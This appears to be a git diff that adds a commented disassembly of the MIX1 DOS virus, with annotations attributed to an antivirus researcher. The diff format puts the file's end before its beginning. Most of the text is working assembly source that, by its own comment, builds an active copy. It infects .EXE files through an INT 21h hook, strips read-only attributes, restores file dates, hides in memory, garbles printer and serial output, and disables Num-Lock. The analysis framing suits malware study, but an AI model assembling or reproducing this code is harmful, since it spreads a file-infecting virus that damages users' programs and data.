||||||
|
MOV AX,OFFSET NEW8
|
||||||
|
MOV ES:[0020H],AX
|
||||||
|
JMP EXIT
|
||||||
|
;
|
||||||
|
; Video processing
|
||||||
|
;
|
||||||
|
VID: PUSH AX
|
||||||
|
PUSH BX
|
||||||
|
PUSH CX
|
||||||
|
PUSH DX
|
||||||
|
PUSH DI
|
||||||
|
PUSH DS
|
||||||
|
PUSH ES
|
||||||
|
PUSH CS
|
||||||
|
POP DS
|
||||||
|
MOV AH,0FH
|
||||||
|
INT 10H
|
||||||
|
MOV AH,6
|
||||||
|
MUL AH
|
||||||
|
MOV BX,AX
|
||||||
|
MOV AX,DS:[BX+OFFSET VIDEOT]
|
||||||
|
MOV CX,DS:[BX+OFFSET VIDEOT+2]
|
||||||
|
MOV DX,DS:[BX+OFFSET VIDEOT+4]
|
||||||
|
MOV ES,DX
|
||||||
|
SHR CX,1
|
||||||
|
MOV
|
||||||
|
DI,1
|
||||||
|
CMP AX,0
|
||||||
|
JNZ V1
|
||||||
|
V0: INC WORD PTR ES:[DI]
|
||||||
|
INC DI
|
||||||
|
INC DI
|
||||||
|
LOOP V0
|
||||||
|
JMP SHORT V2
|
||||||
|
NOP
|
||||||
|
V1: NOT WORD PTR ES:[DI]
|
||||||
|
INC DI
|
||||||
|
INC DI
|
||||||
|
LOOP V1
|
||||||
|
V2: POP ES
|
||||||
|
POP DS
|
||||||
|
POP DI
|
||||||
|
POP DX
|
||||||
|
POP CX
|
||||||
|
POP BX
|
||||||
|
POP AX
|
||||||
|
RET
|
||||||
|
;
|
||||||
|
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
|
||||||
|
; This routine does not become active until 50 minutes after
|
||||||
|
; the execution of an infected program.
|
||||||
|
;
|
||||||
|
NEW9: PUSH AX
|
||||||
|
PUSH ES
|
||||||
|
CMP BYTE PTR CS:[MIN50],1
|
||||||
|
JNZ RETX1
|
||||||
|
XOR AX,AX
|
||||||
|
MOV ES,AX ; was xxxxxxxx
|
||||||
|
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
|
||||||
|
OR BYTE PTR ES:[417H],20H ; x01xxxxx
|
||||||
|
TEST BYTE PTR ES:[417H],0CH
|
||||||
|
JZ RETX1
|
||||||
|
IN AL,60
|
||||||
|
CMP AL,53
|
||||||
|
JNZ RETX1
|
||||||
|
AND BYTE PTR ES:[417H],0F7H
|
||||||
|
;
|
||||||
|
; This seems to be an error - the virus uses a FAR call, which will
|
||||||
|
; probably cause the computer to crash.
|
||||||
|
;
|
||||||
|
DB 9AH
|
||||||
|
DW OFFSET VID,171CH
|
||||||
|
;
|
||||||
|
; This needs more checking.
|
||||||
|
;
|
||||||
|
|
||||||
|
RETX1: POP ES
|
||||||
|
POP AX
|
||||||
|
DB 0EAH
|
||||||
|
OLD9 DW 0,0
|
||||||
|
;
|
||||||
|
; New INT 14 routine - garble all outgoing characters
|
||||||
|
;
|
||||||
|
NEW14: CMP AH,1
|
||||||
|
JZ S1
|
||||||
|
DO14: DB 0EAH
|
||||||
|
OLD14 DW 0,0
|
||||||
|
S1: PUSH BX
|
||||||
|
XOR BX,BX
|
||||||
|
MOV BL,AL
|
||||||
|
ADD BX,OFFSET ERRTAB
|
||||||
|
MOV AL,CS:[BX] ; use old character as index into table
|
||||||
|
POP BX
|
||||||
|
JMP DO14
|
||||||
|
;
|
||||||
|
; New INT 8 routine
|
||||||
|
;
|
||||||
|
NEW8: PUSH DX
|
||||||
|
PUSH CX
|
||||||
|
PUSH BX
|
||||||
|
PUSH AX
|
||||||
|
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
|
||||||
|
JZ TT0 ; No need to check any more
|
||||||
|
INC WORD PTR CS:[TIMER] ; else increment timer
|
||||||
|
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
|
||||||
|
JZ TT1
|
||||||
|
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
|
||||||
|
JZ TT2
|
||||||
|
JMP TXEX
|
||||||
|
;
|
||||||
|
; 50 minutes after an infected program is run the flag is set.
|
||||||
|
;
|
||||||
|
TT2: MOV BYTE PTR CS:[MIN50],1
|
||||||
|
NOP
|
||||||
|
JMP TXEX
|
||||||
|
;
|
||||||
|
; 60 minutes after an infected program is run we start the ball bouncing.
|
||||||
|
;
|
||||||
|
TT1: MOV BYTE PTR CS:[MIN60],1
|
||||||
|
;
|
||||||
|
; Get current cursor position and save it
|
||||||
|
;
|
||||||
|
MOV AH,3
|
||||||
|
MOV BH,0
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[SCRLINE],DH
|
||||||
|
MOV CS:[SCRCOL],DL
|
||||||
|
;
|
||||||
|
; Set cursor position
|
||||||
|
;
|
||||||
|
MOV AH,2
|
||||||
|
MOV BH,0
|
||||||
|
MOV DH,CS:[MYLINE]
|
||||||
|
MOV DL,CS:[MYCOL]
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; Check what is there and store it
|
||||||
|
;
|
||||||
|
MOV AH,8
|
||||||
|
MOV BH,0
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[ONSCREEN],AL
|
||||||
|
;
|
||||||
|
; Set cursor position back as it was before
|
||||||
|
;
|
||||||
|
MOV AH,2
|
||||||
|
MOV BH,0
|
||||||
|
MOV DH,CS:[SCRLINE]
|
||||||
|
MOV DL,CS:[SCRCOL]
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; Get current video mode and store it
|
||||||
|
;
|
||||||
|
MOV AH,0FH
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[VMODE],AH
|
||||||
|
;
|
||||||
|
; Exit interrupt routine
|
||||||
|
;
|
||||||
|
JMP TXEX
|
||||||
|
;
|
||||||
|
; Every time an INT 8 occurs, after the 60 min. have passed, we
|
||||||
|
; end up here:
|
||||||
|
;
|
||||||
|
; First get current cursor position
|
||||||
|
;
|
||||||
|
TT0: MOV AH,3
|
||||||
|
MOV BH,0
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[SCRLINE],DH
|
||||||
|
MOV CS:[SCRCOL],DL
|
||||||
|
;
|
||||||
|
; Then set it to last position of ball.
|
||||||
|
;
|
||||||
|
MOV AH,2
|
||||||
|
MOV BH,0
|
||||||
|
MOV DH,CS:[MYLINE]
|
||||||
|
MOV DL,CS:[MYCOL]
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; Write previous character there ...
|
||||||
|
;
|
||||||
|
MOV AH,0EH
|
||||||
|
MOV AL,CS:[ONSCREEN]
|
||||||
|
MOV BX,0
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
;
|
||||||
|
CMP BYTE PTR CS:[UPDOWN],0
|
||||||
|
JZ T2
|
||||||
|
;
|
||||||
|
;
|
||||||
|
DEC BYTE PTR CS:[MYLINE]
|
||||||
|
JMP SHORT T3
|
||||||
|
NOP
|
||||||
|
T2: INC BYTE PTR CS:[MYLINE]
|
||||||
|
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
|
||||||
|
JZ T4
|
||||||
|
DEC BYTE PTR CS:[MYCOL]
|
||||||
|
JMP SHORT T5
|
||||||
|
NOP
|
||||||
|
T4: INC BYTE PTR CS:[MYCOL]
|
||||||
|
;
|
||||||
|
; Get current video mode
|
||||||
|
;
|
||||||
|
T5: MOV AH,0FH
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[VMODE],AH
|
||||||
|
MOV AL,CS:[MAXLIN]
|
||||||
|
CMP CS:[MYLINE],AL ; bottom of screen ?
|
||||||
|
JNZ T6
|
||||||
|
;
|
||||||
|
; Reached bottom - now go upwards.
|
||||||
|
;
|
||||||
|
NOT BYTE PTR CS:[UPDOWN]
|
||||||
|
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
|
||||||
|
JNZ T7
|
||||||
|
;
|
||||||
|
; Reached top - now go downwards
|
||||||
|
;
|
||||||
|
NOT BYTE PTR CS:[UPDOWN]
|
||||||
|
T7: MOV AL,CS:[VMODE]
|
||||||
|
CMP CS:[MYCOL],AL
|
||||||
|
JNZ T8
|
||||||
|
NOT BYTE PTR CS:[LEFTRIGHT]
|
||||||
|
T8: CMP BYTE PTR CS:[MYCOL],0
|
||||||
|
JNZ T9
|
||||||
|
NOT BYTE PTR CS:[LEFTRIGHT]
|
||||||
|
;
|
||||||
|
; Set cursor position to new position of ball
|
||||||
|
;
|
||||||
|
T9: MOV AH,02
|
||||||
|
MOV BH,0
|
||||||
|
MOV DH,CS:[MYLINE]
|
||||||
|
MOV DL,CS:[MYCOL]
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; Get what is there and store it.
|
||||||
|
;
|
||||||
|
MOV AH,8
|
||||||
|
MOV BH,0
|
||||||
|
INT 10H
|
||||||
|
MOV CS:[ONSCREEN],AL
|
||||||
|
;
|
||||||
|
; Write character (lower case o)
|
||||||
|
;
|
||||||
|
MOV AH,0EH
|
||||||
|
MOV AL,6FH
|
||||||
|
MOV BX,0
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; And restore cursor position
|
||||||
|
;
|
||||||
|
MOV AH,02
|
||||||
|
MOV BH,0
|
||||||
|
MOV DH,CS:[SCRLINE]
|
||||||
|
MOV DL,CS:[SCRCOL]
|
||||||
|
INT 10H
|
||||||
|
;
|
||||||
|
; Restore registers and quit
|
||||||
|
;
|
||||||
|
TXEX: POP AX
|
||||||
|
POP BX
|
||||||
|
POP CX
|
||||||
|
POP DX
|
||||||
|
DB 0EAH
|
||||||
|
OLD8 DW 0,0
|
||||||
|
;
|
||||||
|
; New INT 17 routine. Garble all outgoing characters.
|
||||||
|
;
|
||||||
|
NEW17: CMP AH,0
|
||||||
|
JZ P0
|
||||||
|
DO17: DB 0EAH
|
||||||
|
OLD17 DW 0,0
|
||||||
|
P0: PUSH BX
|
||||||
|
XOR BX,BX
|
||||||
|
MOV BL,AL
|
||||||
|
ADD BX,OFFSET ERRTAB
|
||||||
|
MOV AL,CS:[BX]
|
||||||
|
POP BX
|
||||||
|
JMP DO17
|
||||||
|
;
|
||||||
|
; This is the INT 21 replacement. It only does something in the case
|
||||||
|
; of an EXEC call.
|
||||||
|
;
|
||||||
|
NEW21: CMP AH,4BH
|
||||||
|
JE L5
|
||||||
|
DO21: DB 0EAH
|
||||||
|
OLD21 DW 0,0
|
||||||
|
;
|
||||||
|
; The code to only infect every tenth program has been removed
|
||||||
|
;
|
||||||
|
L5: PUSH AX
|
||||||
|
PUSH BX
|
||||||
|
PUSH CX
|
||||||
|
PUSH DX
|
||||||
|
PUSH SI
|
||||||
|
PUSH DS
|
||||||
|
;
|
||||||
|
; Search for the file name extension ...
|
||||||
|
;
|
||||||
|
MOV BX,DX
|
||||||
|
L6: INC BX
|
||||||
|
CMP BYTE PTR [BX],'.'
|
||||||
|
JE L8
|
||||||
|
CMP BYTE PTR [BX],0
|
||||||
|
JNE L6
|
||||||
|
;
|
||||||
|
; ... and quit unless it starts with "EX".
|
||||||
|
;
|
||||||
|
L7: POP DS
|
||||||
|
POP SI
|
||||||
|
POP DX
|
||||||
|
POP CX
|
||||||
|
POP BX
|
||||||
|
POP AX
|
||||||
|
JMP DO21
|
||||||
|
L8: INC BX
|
||||||
|
CMP WORD PTR [BX],5845H
|
||||||
|
JNE L7
|
||||||
|
;
|
||||||
|
; When an .EXE file is found, the virus starts by turning off
|
||||||
|
; the read-only attribute. The read-only attribute is not restored
|
||||||
|
; when the file has been infected.
|
||||||
|
;
|
||||||
|
MOV AX,4300H ; Get attribute
|
||||||
|
INT 21H
|
||||||
|
JC L7
|
||||||
|
MOV AX,4301H ; Set attribute
|
||||||
|
AND CX,0FEH
|
||||||
|
INT 21H
|
||||||
|
JC L7
|
||||||
|
;
|
||||||
|
; Next, the file is examined to see if it is already infected.
|
||||||
|
; The signature (4418 5F19) is stored in the last two words.
|
||||||
|
;
|
||||||
|
MOV AX,3D02H ; Open / write access
|
||||||
|
INT 21H
|
||||||
|
JC L7
|
||||||
|
MOV BX,AX ; file handle in BX
|
||||||
|
;
|
||||||
|
; This part of the code is new: Get date of file.
|
||||||
|
;
|
||||||
|
MOV AX,5700H
|
||||||
|
INT 21H
|
||||||
|
JC L9
|
||||||
|
MOV CS:[DATE1],DX
|
||||||
|
MOV CS:[DATE2],CX
|
||||||
|
;
|
||||||
|
PUSH CS ; now DS is no longer needed
|
||||||
|
POP DS
|
||||||
|
;
|
||||||
|
; The header of the file is read in at [ID+8]. The virus then
|
||||||
|
; modifies itself, according to the information stored in the
|
||||||
|
; header. (The original CS and IP addressed are stored).
|
||||||
|
;
|
||||||
|
MOV DX,OFFSET ID+8
|
||||||
|
MOV CX,1CH
|
||||||
|
MOV AH,3FH
|
||||||
|
INT 21H
|
||||||
|
JC L9
|
||||||
|
MOV AX,DS:ID[1CH]
|
||||||
|
MOV DS:[ORG_IP],AX
|
||||||
|
MOV AX,DS:ID[1EH]
|
||||||
|
ADD AX,10H
|
||||||
|
MOV DS:[ORG_CS],AX
|
||||||
|
;
|
||||||
|
; Next the read/write pointer is moved to the end of the file-4,
|
||||||
|
; and the last 4 bytes read. They are compared to the signature,
|
||||||
|
; and if equal nothing happens.
|
||||||
|
;
|
||||||
|
MOV AX,4202H
|
||||||
|
MOV CX,-1
|
||||||
|
MOV DX,-4
|
||||||
|
INT 21H
|
||||||
|
JC L9
|
||||||
|
ADD AX,4
|
||||||
|
MOV DS:[LEN_LO],AX
|
||||||
|
JNC L8A
|
||||||
|
INC DX
|
||||||
|
L8A: MOV DS:[LEN_HI],DX
|
||||||
|
;
|
||||||
|
; This part of the virus is new - check if it is below minimum length
|
||||||
|
;
|
||||||
|
CMP DX,0
|
||||||
|
JNE L8B
|
||||||
|
MOV CL,13
|
||||||
|
SHR AX,CL
|
||||||
|
CMP AX,0
|
||||||
|
JG L8B
|
||||||
|
JMP SHORT L9
|
||||||
|
NOP
|
||||||
|
L8B: MOV AH,3FH
|
||||||
|
MOV CX,4
|
||||||
|
MOV DX,OFFSET ID+4
|
||||||
|
INT 21H
|
||||||
|
JNC L11
|
||||||
|
L9: MOV AH,3EH
|
||||||
|
INT 21H
|
||||||
|
L10: JMP L7
|
||||||
|
;
|
||||||
|
; Compare to 4418,5F19
|
||||||
|
;
|
||||||
|
L11: MOV SI,OFFSET ID+4
|
||||||
|
MOV AX,[SI]
|
||||||
|
CMP AX,494DH
|
||||||
|
JNE L12
|
||||||
|
MOV AX,[SI+2]
|
||||||
|
CMP AX,3158H
|
||||||
|
JE L9
|
||||||
|
;
|
||||||
|
; The file is not infected, so the next thing the virus does is
|
||||||
|
; infecting it. First it is padded so the length becomes a multiple
|
||||||
|
; of 16 bytes. Tis is probably done so the virus code can start at a
|
||||||
|
; paragraph boundary.
|
||||||
|
;
|
||||||
|
L12: MOV AX,DS:[LEN_LO]
|
||||||
|
AND AX,0FH
|
||||||
|
JZ L13
|
||||||
|
MOV CX,16
|
||||||
|
SUB CX,AX
|
||||||
|
ADD DS:[LEN_LO],CX
|
||||||
|
JNC L12A
|
||||||
|
INC DS:[LEN_HI]
|
||||||
|
L12A: MOV AH,40H
|
||||||
|
INT 21H
|
||||||
|
JC L9
|
||||||
|
;
|
||||||
|
; Next the main body of the virus is written to the end.
|
||||||
|
;
|
||||||
|
L13: MOV DX,0 ; Was: XOR DX,DX
|
||||||
|
MOV CX,OFFSET ID + 4
|
||||||
|
MOV AH,40H
|
||||||
|
INT 21H
|
||||||
|
JC L9
|
||||||
|
;
|
||||||
|
; Next the .EXE file header is modified:
|
||||||
|
;
|
||||||
|
JMP SHORT F0 ; some unnecessary instructions
|
||||||
|
NOP
|
||||||
|
; First modify initial IP
|
||||||
|
;
|
||||||
|
F0: MOV AX,OFFSET LABEL
|
||||||
|
MOV DS:ID[1CH],AX
|
||||||
|
;
|
||||||
|
; Modify starting CS = Virus CS. It is computed as:
|
||||||
|
;
|
||||||
|
; (Original length of file+padding)/16 - Start of load module
|
||||||
|
;
|
||||||
|
MOV DX,DS:[LEN_HI]
|
||||||
|
MOV AX,DS:[LEN_LO]
|
||||||
|
MOV CL,CS:[CONST1] ; Modified a bit
|
||||||
|
SHR DX,CL
|
||||||
|
RCR AX,CL
|
||||||
|
SHR DX,CL
|
||||||
|
RCR AX,CL
|
||||||
|
SHR DX,CL
|
||||||
|
RCR AX,CL
|
||||||
|
SHR DX,CL
|
||||||
|
RCR AX,CL
|
||||||
|
SUB AX,DS:ID[10H]
|
||||||
|
MOV DS:ID[1EH],AX
|
||||||
|
;
|
||||||
|
; Modify length mod 512
|
||||||
|
;
|
||||||
|
ADD DS:[LEN_LO],OFFSET ID+4
|
||||||
|
JNC L14
|
||||||
|
INC DS:[LEN_HI]
|
||||||
|
L14: MOV AX,DS:[LEN_LO]
|
||||||
|
AND AX,511
|
||||||
|
MOV DS:ID[0AH],AX
|
||||||
|
;
|
||||||
|
; Modify number of blocks used
|
||||||
|
;
|
||||||
|
MOV DX,DS:[LEN_HI]
|
||||||
|
MOV AX,DS:[LEN_LO]
|
||||||
|
ADD AX,511
|
||||||
|
JNC L14A
|
||||||
|
INC DX
|
||||||
|
L14A: MOV AL,AH
|
||||||
|
MOV AH,DL
|
||||||
|
SHR AX,1
|
||||||
|
MOV DS:ID[0CH],AX
|
||||||
|
;
|
||||||
|
; Finally the modified header is written back to the start of the
|
||||||
|
; file.
|
||||||
|
;
|
||||||
|
QQQ: MOV AX,4200H
|
||||||
|
MOV CX,0 ; was XOR CX,CX
|
||||||
|
AND DX,CS:[CONST0] ; was XOR DX,DX
|
||||||
|
INT 21H
|
||||||
|
JC ENDIT
|
||||||
|
MOV AH,40H
|
||||||
|
MOV DX,OFFSET ID+8
|
||||||
|
MOV CX,1CH
|
||||||
|
INT 21H
|
||||||
|
;
|
||||||
|
; This part is new: Restore old date.
|
||||||
|
;
|
||||||
|
MOV DX,CS:[DATE1]
|
||||||
|
MOV CX,CS:[DATE2]
|
||||||
|
MOV AX,5701H
|
||||||
|
INT 21H
|
||||||
|
JC ENDIT
|
||||||
|
INC WORD PTR CS:[NOINF]
|
||||||
|
;
|
||||||
|
; Infection is finished - close the file and execute it
|
||||||
|
;
|
||||||
|
ENDIT: JMP L9
|
||||||
|
;
|
||||||
|
;
|
||||||
|
DW 0
|
||||||
|
|
||||||
|
VIDEOT: DW 0000H, 07D0H, 0B800H
|
||||||
|
DW 0000H, 07D0H, 0B800H
|
||||||
|
DW 0000H, 0FA0H, 0B800H
|
||||||
|
DW 0000H, 0FA0H, 0B800H
|
||||||
|
DW 0001H, 4000H, 0B800H
|
||||||
|
DW 0001H, 4000H, 0B800H
|
||||||
|
DW 0001H, 4000H, 0B800H
|
||||||
|
DW 0000H, 0FA0H, 0B000H
|
||||||
|
DW 0001H, 3E80H, 0B000H
|
||||||
|
DW 0001H, 7D00H, 0B000H
|
||||||
|
DW 0001H, 7D00H, 0B000H
|
||||||
|
DW 0002H, 0000H, 0000H
|
||||||
|
DW 0002H, 0000H, 0000H
|
||||||
|
DW 0001H, 7D00H, 0A000H
|
||||||
|
DW 0001H, 0FA00H, 0A000H
|
||||||
|
DW 0001H, 6D60H, 0A000H
|
||||||
|
DW 0002H, 0000H. 0000H
|
||||||
|
|
||||||
|
DW 0
|
||||||
|
|
||||||
|
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
|
||||||
|
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
|
||||||
|
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
|
||||||
|
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
|
||||||
|
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
|
||||||
|
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
|
||||||
|
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
|
||||||
|
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
|
||||||
|
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
|
||||||
|
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
|
||||||
|
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
|
||||||
|
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
|
||||||
|
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
|
||||||
|
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
|
||||||
|
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
|
||||||
|
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
|
||||||
|
|
||||||
|
CONST1 DB 1 ; Just the constant 1
|
||||||
|
CONST0 DW 0 ; The label says it all
|
||||||
|
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
|
||||||
|
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
|
||||||
|
VMODE DB 0 ; Video mode
|
||||||
|
MAXLIN DB 24
|
||||||
|
MYCOL DB 0 ; Position of ball on screen
|
||||||
|
MYLINE DB 0 ; ditto.
|
||||||
|
ONSCREEN DB ? ; Previous character on the screen
|
||||||
|
UPDOWN DB 0 ; Direction of ball (up or down)
|
||||||
|
LEFTRIGHT DB 0 ; Direction (left or right)
|
||||||
|
SCRCOL DB ?
|
||||||
|
SCRLINE DB ?
|
||||||
|
DATE1 DW ? ; Date of file
|
||||||
|
DATE2 DW ? ; ditto.
|
||||||
|
TIMER DW 0 ; Number of timer (INT 8) ticks
|
||||||
|
LEN_LO DW ?
|
||||||
|
LEN_HI DW ?
|
||||||
|
NOINF DW 0 ; Number of infections
|
||||||
|
ID ABRAX WORD
|
||||||
|
DB "MIX1" ; The signature of the virus.
|
||||||
|
;
|
||||||
|
; A buffer, used for data from the file.
|
||||||
|
;
|
||||||
|
|
||||||
|
VIRUS ENDP
|
||||||
|
CODE ENDS
|
||||||
|
|
||||||
|
END ABRAX
|
||||||
@@ -0,0 +1,856 @@
|
|||||||
|
; THE MIX1 virus
|
||||||
|
;
|
||||||
|
; It was first detected in Israel in August '89.
|
||||||
|
;
|
||||||
|
; Disassembly done Sept. 24-25 '89.
|
||||||
|
;
|
||||||
|
; The author of this program is unknown, but it is clearly a
|
||||||
|
; modification of the "Icelandic" virus, with considerable
|
||||||
|
; additions
|
||||||
|
;
|
||||||
|
; All comments in this file were added by Fridrik Skulason,
|
||||||
|
; University of Iceland/Computing Services.
|
||||||
|
;
|
||||||
|
; INTERNET: frisk@rhi.hi.is
|
||||||
|
; UUCP: ...mcvax!hafro!rhi!frisk
|
||||||
|
; BIX: FRISK
|
||||||
|
;
|
||||||
|
; To anyone who obtains this file - please be careful with it, I
|
||||||
|
; would not like to see this virus be distributed too much.
|
||||||
|
;
|
||||||
|
; A short description of the virus:
|
||||||
|
;
|
||||||
|
; It only infects .EXE files. Infected files grow by ... to ... bytes.
|
||||||
|
; The virus attaches itself to the end of the programs it infects.
|
||||||
|
;
|
||||||
|
; When an infected file is run, the virus copies itself to top of
|
||||||
|
; free memory, and modifies the memory blocks, in order to hide from
|
||||||
|
; memory mapping programs. Some programs may overwrite this area,
|
||||||
|
; causing the computer to crash.
|
||||||
|
;
|
||||||
|
; The virus will hook INT 21H and when function 4B (EXEC) is called
|
||||||
|
; it sometimes will infect the program being run. It will check every
|
||||||
|
; tenth program that is run for infection, and if it is not already
|
||||||
|
; infected, it will be.
|
||||||
|
;
|
||||||
|
; The virus will remove the Read-Only attribute before trying to
|
||||||
|
; infect programs.
|
||||||
|
;
|
||||||
|
; Infected files can be easily recognized, since they always end in
|
||||||
|
; "MIX1"
|
||||||
|
;
|
||||||
|
; To check for system infection, a byte at 0:33C is used - if it
|
||||||
|
; contains 77 the virus is installed in memory.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
VIRSIZ EQU 128
|
||||||
|
|
||||||
|
;
|
||||||
|
; This is the original program, just used so this file, when
|
||||||
|
; assembled, will produce an active copy.
|
||||||
|
;
|
||||||
|
_TEXT1 SEGMENT PARA PUBLIC
|
||||||
|
_START DB 0b4H,09H
|
||||||
|
PUSH CS
|
||||||
|
POP DS
|
||||||
|
MOV DX,OFFSET STRING
|
||||||
|
INT 21H
|
||||||
|
MOV AX,4C00H
|
||||||
|
INT 21H
|
||||||
|
STRING DB "Hello world!",0dh,0ah,"$"
|
||||||
|
_TEXT1 ENDS
|
||||||
|
|
||||||
|
CODE SEGMENT PARA PUBLIC 'CODE'
|
||||||
|
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
|
||||||
|
|
||||||
|
;
|
||||||
|
; The virus is basically divided in the following parts.
|
||||||
|
;
|
||||||
|
; 1. The main program - run when an infected program is run.
|
||||||
|
; It will check if the system is already infected, and if not
|
||||||
|
; it will install the virus.
|
||||||
|
;
|
||||||
|
; 2. The new INT 17 handler. All outgoing characters will be garbled.
|
||||||
|
;
|
||||||
|
; 3. The new INT 14 handler. All outgoing characters will be garbled.
|
||||||
|
;
|
||||||
|
; 4. The new INT 8 handler.
|
||||||
|
;
|
||||||
|
; 5. The new INT 9 handler. Disables the Num-Lock key
|
||||||
|
;
|
||||||
|
; 6. The new INT 21 handler. It will look for EXEC calls, and
|
||||||
|
; (sometimes) infect the program being run.
|
||||||
|
;
|
||||||
|
; Parts 1 and 6 are almost identical to the Icelandic-1 version
|
||||||
|
;
|
||||||
|
; This is a fake MCB
|
||||||
|
;
|
||||||
|
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
|
||||||
|
|
||||||
|
VIRUS PROC FAR
|
||||||
|
;
|
||||||
|
; The virus starts by pushing the original start address on the stack,
|
||||||
|
; so it can transfer control there when finished.
|
||||||
|
;
|
||||||
|
ABRAX: DEC SP ; This used to be SUB SP,4
|
||||||
|
DEC SP
|
||||||
|
NOP
|
||||||
|
DEC SP
|
||||||
|
DEC SP
|
||||||
|
PUSH BP
|
||||||
|
MOV BP,SP
|
||||||
|
NOP ; added
|
||||||
|
PUSH AX
|
||||||
|
NOP ; added
|
||||||
|
MOV AX,ES
|
||||||
|
;
|
||||||
|
; Put the the original CS on the stack. The ADD AX,data instruction
|
||||||
|
; is modified by the virus when it infects other programs.
|
||||||
|
;
|
||||||
|
DB 05H
|
||||||
|
ORG_CS DW 0010H
|
||||||
|
MOV [BP+4],AX
|
||||||
|
;
|
||||||
|
; Put the the original IP on the stack. This MOV [BP+2],data instruction
|
||||||
|
; is modified by the virus when it infects other programs.
|
||||||
|
;
|
||||||
|
DB 0C7H,46H,02H
|
||||||
|
ORG_IP DW 0000H
|
||||||
|
;
|
||||||
|
; Save all registers that are modified.
|
||||||
|
;
|
||||||
|
PUSH ES
|
||||||
|
PUSH DS
|
||||||
|
PUSH BX
|
||||||
|
PUSH CX
|
||||||
|
PUSH SI
|
||||||
|
PUSH DI
|
||||||
|
;
|
||||||
|
; Check if already installed. Quit if so.
|
||||||
|
;
|
||||||
|
MOV AX,0 ; Was: XOR AX,AX
|
||||||
|
MOV ES,AX
|
||||||
|
CMP ES:[33CH],BYTE PTR 077H
|
||||||
|
JNE L1
|
||||||
|
;
|
||||||
|
; Restore all registers and return to the original program.
|
||||||
|
;
|
||||||
|
EXIT: POP DI
|
||||||
|
POP SI
|
||||||
|
POP CX
|
||||||
|
POP BX
|
||||||
|
POP DS
|
||||||
|
POP ES
|
||||||
|
POP AX
|
||||||
|
POP BP
|
||||||
|
RET
|
||||||
|
;
|
||||||
|
; The virus tries to hide from detection by modifying the memory block it
|
||||||
|
; uses, so it seems to be a block that belongs to the operating system.
|
||||||
|
;
|
||||||
|
; It looks rather weird, but it seems to work.
|
||||||
|
;
|
||||||
|
L1: MOV AH,52H
|
||||||
|
INT 21H
|
||||||
|
MOV AX,ES:[BX-2]
|
||||||
|
MOV ES,AX
|
||||||
|
PUSH ES ; Two totally unnecessary instructions
|
||||||
|
POP AX ; added
|
||||||
|
ADD AX,ES:[0003]
|
||||||
|
INC AX
|
||||||
|
INC AX
|
||||||
|
MOV CS:[0001],AX
|
||||||
|
;
|
||||||
|
; Next, the virus modifies the memory block of the infected program.
|
||||||
|
; It is made smaller, and no longer the last block.
|
||||||
|
;
|
||||||
|
MOV BX,DS
|
||||||
|
DEC BX
|
||||||
|
PUSH BX ; Unnecessary addition
|
||||||
|
POP AX
|
||||||
|
MOV DS,BX
|
||||||
|
MOV AL,'M'
|
||||||
|
MOV DS:[0000],AL
|
||||||
|
MOV AX,DS:[0003]
|
||||||
|
SUB AX,VIRSIZ
|
||||||
|
MOV DS:[0003],AX
|
||||||
|
ADD BX,AX
|
||||||
|
INC BX
|
||||||
|
;
|
||||||
|
; Then the virus moves itself to the new block.
|
||||||
|
;
|
||||||
|
PUSH BX ; Was: MOV ES,BX
|
||||||
|
POP ES
|
||||||
|
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
|
||||||
|
MOV DI,SI
|
||||||
